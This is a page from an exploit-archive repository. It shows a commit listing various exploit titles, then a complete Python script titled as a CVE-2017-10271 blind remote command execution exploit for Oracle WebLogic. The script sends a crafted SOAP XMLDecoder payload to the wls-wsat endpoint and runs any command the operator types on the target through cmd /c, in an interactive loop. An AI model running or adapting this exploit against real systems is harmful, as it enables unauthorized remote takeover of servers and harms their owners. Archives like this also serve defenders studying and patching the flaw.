5947825a84
15 changes to exploits/shellcodes uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 - Range header Denial of Service μTorrent (uTorrent) / BitTorrent WebIU HTTP 1.7.7/6.0.1 - Range header Denial of Service uTorrent 1.8.3 Build 15772 - Create New Torrent Buffer Overflow (PoC) μTorrent (uTorrent) 1.8.3 Build 15772 - Create New Torrent Buffer Overflow (PoC) uTorrent WebUI 0.370 - Authorisation Header Denial of Service μTorrent (uTorrent) WebUI 0.370 - Authorisation Header Denial of Service Memcached - 'memcrashed' Denial of Service Memcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (2) Memcached 1.5.5 - 'Memcrashed' Insufficient Control Network Message Volume Denial of Service (1) Memcached 1.5.5 - 'Memcrashed ' Insufficient Control of Network Message Volume Denial of Service With Shodan API Broadcom BCM43xx Wi-Fi - 'BroadPWN' Denial of Service WebLog Expert Enterprise 9.4 - Denial of Service uTorrent 2.0.3 - 'plugin_dll.dll' DLL Hijacking μTorrent (uTorrent) 2.0.3 - 'plugin_dll.dll' DLL Hijacking uTorrent 2.0.3 - DLL Hijacking μTorrent (uTorrent) 2.0.3 - DLL Hijacking iSumsoft ZIP Password Refixer 3.1.1 - Buffer Overflow Microsoft Office - 'Composite Moniker Remote Code Execution Mozilla Firefox - Address Bar Spoofing Tor (Firefox 41 < 50) - Code Execution Chrome 35.0.1916.153 - Sandbox Escape / Command Execution WebLog Expert Enterprise 9.4 - Authentication Bypass uTorrent 1.6 build 474 - 'announce' Key Remote Heap Overflow μTorrent (uTorrent) 1.6 build 474 - 'announce' Key Remote Heap Overflow t. hauck jana WebServer 1.0/1.45/1.46 - Directory Traversal T. Hauck Jana Server 1.0/1.45/1.46 - Directory Traversal Oracle WebLogic Server 10.3.6.0.0 / 12.x - Remote Command Execution Werkzeug - 'Debug Shell' Command Execution TikiWiki < 1.9.9 - 'tiki-listmovies.php' Directory Traversal TikiWiki Project < 1.9.9 - 'tiki-listmovies.php' Directory Traversal toronja CMS - SQL Injection Toronja CMS - SQL Injection uTorrent WebUI 0.310 Beta 2 - Cross-Site Request Forgery μTorrent (uTorrent) WebUI 0.310 Beta 2 - Cross-Site Request Forgery tinybrowser - 'tinybrowser.php' Directory Listing tinybrowser - 'edit.php' Directory Listing TinyBrowser - 'tinybrowser.php' Directory Listing TinyBrowser - 'edit.php' Directory Listing Xoops 2.5.7.2 - Directory Traversal Bypass XOOPS 2.5.7.2 - Directory Traversal Bypass SAP BusinessObjects launch pad - Server-Side Request Forgery antMan < 0.9.1a - Authentication Bypass Bacula-Web < 8.0.0-rc2 - SQL Injection
61 lines
No EOL
2.7 KiB
Python
Executable file
61 lines
No EOL
2.7 KiB
Python
Executable file
import requests
|
|
import sys
|
|
|
|
url_in = sys.argv[1]
|
|
payload_url = url_in + "/wls-wsat/CoordinatorPortType"
|
|
payload_header = {'content-type': 'text/xml'}
|
|
|
|
|
|
def payload_command (command_in):
|
|
html_escape_table = {
|
|
"&": "&",
|
|
'"': """,
|
|
"'": "'",
|
|
">": ">",
|
|
"<": "<",
|
|
}
|
|
command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
|
|
payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
|
|
" <soapenv:Header> " \
|
|
" <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
|
|
" <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
|
|
" <void class=\"java.lang.ProcessBuilder\"> \n" \
|
|
" <array class=\"java.lang.String\" length=\"3\">" \
|
|
" <void index = \"0\"> " \
|
|
" <string>cmd</string> " \
|
|
" </void> " \
|
|
" <void index = \"1\"> " \
|
|
" <string>/c</string> " \
|
|
" </void> " \
|
|
" <void index = \"2\"> " \
|
|
+ command_filtered + \
|
|
" </void> " \
|
|
" </array>" \
|
|
" <void method=\"start\"/>" \
|
|
" </void>" \
|
|
" </java>" \
|
|
" </work:WorkContext>" \
|
|
" </soapenv:Header>" \
|
|
" <soapenv:Body/>" \
|
|
"</soapenv:Envelope>"
|
|
return payload_1
|
|
|
|
def do_post(command_in):
|
|
result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
|
|
|
|
if result.status_code == 500:
|
|
print "Command Executed \n"
|
|
else:
|
|
print "Something Went Wrong \n"
|
|
|
|
|
|
|
|
print "***************************************************** \n" \
|
|
"**************** Coded By 1337g ****************** \n" \
|
|
"* CVE-2017-10271 Blind Remote Command Execute EXP * \n" \
|
|
"***************************************************** \n"
|
|
|
|
while 1:
|
|
command_in = raw_input("Eneter your command here: ")
|
|
if command_in == "exit" : exit(0)
|
|
do_post(command_in) |